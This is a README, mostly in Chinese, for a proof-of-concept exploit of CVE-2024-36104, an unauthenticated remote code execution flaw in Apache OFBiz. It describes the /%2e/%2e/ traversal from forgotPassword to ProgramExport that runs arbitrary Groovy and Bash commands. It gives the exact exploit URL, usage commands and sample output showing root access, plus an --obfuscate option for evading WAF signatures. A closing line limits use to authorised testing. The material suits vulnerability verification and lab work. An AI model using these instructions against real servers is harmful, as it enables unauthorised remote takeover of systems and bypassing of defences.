针对 CVE-2024-36104 的概念验证,这是 Apache OFBiz 18.12.14 之前版本中存在的一个未授权远程代码执行漏洞。
OFBiz 的 ControlServlet 在规范化请求路径之前先解析一个未授权视图(forgotPassword)。附加 /%2e/%2e/ 后,路径会折叠回 /webtools/control/,因此请求无需经过与原视图关联的安全/权限检查即可到达 ProgramExport 视图。随后 ProgramExport 会执行任意 Groovy 代码,从而实现未授权远程命令执行。
该脚本将命令封装在 Groovy 代码片段中,通过 /usr/bin/bash -lc 执行该命令,将其发送到易受攻击的端点,并从 OFBiz 在 HTML 响应中抛回的 java.lang.Exception 中提取命令输出。
forgotPassword 到 ProgramExport 的 /%2e/%2e/ 遍历路径。groovyProgram 形式将载荷发送到易受攻击的端点。Python 3.8+
pip install -r requirements.txt
所需的 Python 包:
requests
urllib3
尖括号中的值是占位符。请用你自己的值替换它们,且不要包含 < 或 > 字符。
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
示例输出:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502,则后端很可能在代理超时前未完成处理;命令仍可能在服务端执行完成。--show-response 检查原始 HTML。此 PoC 仅用于授权安全测试、实验室环境和漏洞验证。 未经明确许可,请勿将其用于任何系统。